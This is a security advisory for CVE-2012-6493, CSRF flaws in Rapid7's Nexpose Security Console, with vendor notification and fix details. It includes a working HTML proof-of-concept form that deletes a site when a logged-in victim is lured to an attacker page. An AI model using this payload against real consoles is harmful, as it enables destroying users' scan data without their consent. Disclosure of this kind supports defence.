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CVE-2012-6493 - Nexpose Security Console - Cross-Site Request Forgery (CSRF)
From: "i () amroot com" <i () amroot com>
Date: Thu, 03 Jan 2013 15:00:01 -0600

Product: Nexpose Security Console
Vendor: Rapid7
Version: < 5.5.3
Tested Version: 5.5.1
Vendor Notified Date: December 19, 2012
Release Date: January 2, 2013
Risk: High
Authentication: None required
Remote: Yes

Description:
Multiple Cross-Site Request Forgery (CSRF) vulnerabilities in Nexpose Security Console 5.5.3 and below allow remote attackers to submit actions on a legitimate user’s behalf. By not properly checking each URL, an attacker can execute requests on behalf of a legitimate user. If an authenticated user is tricked into visiting a specially crafted page, it may be possible to perform user-initiated actions on the web application using the victim’s established session. Successful exploitation of this vulnerability resulted in deleting scan data and sites during the proof-of-concept.

Exploit steps for proof-of-concept:
1. Create an external site/page: http://attackersite.com/nexpose-csrf.htm that contains:
[code]
<html>
  <!-- Nexpose CSRF PoC -->
  <body>
<form action="https://nexpose-security-console-site:3780/data/site/delete?siteid=1"; method="POST" enctype="multipart/form-data">
      <input type="submit" value="delete site" />
    </form>
    <script>
      //document.forms[0].submit(); //uncomment to auto-submit
    </script>
  </body>
</html>
[/code]
2.      Lure victim to http://attackersite.com/nexpose-csrf.htm.
3.      Site with ID 1 is deleted when form is submitted.

Vendor Notified: Yes
Vendor Response: Quickly escalated and resolved.
Vendor Update: Remediated in 5.5.4.

Reference:
CVE-2012-6493
https://community.rapid7.com/docs/DOC-2065#release5
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)

Credit:
Robert Gilbert
HALOCK Security Labs


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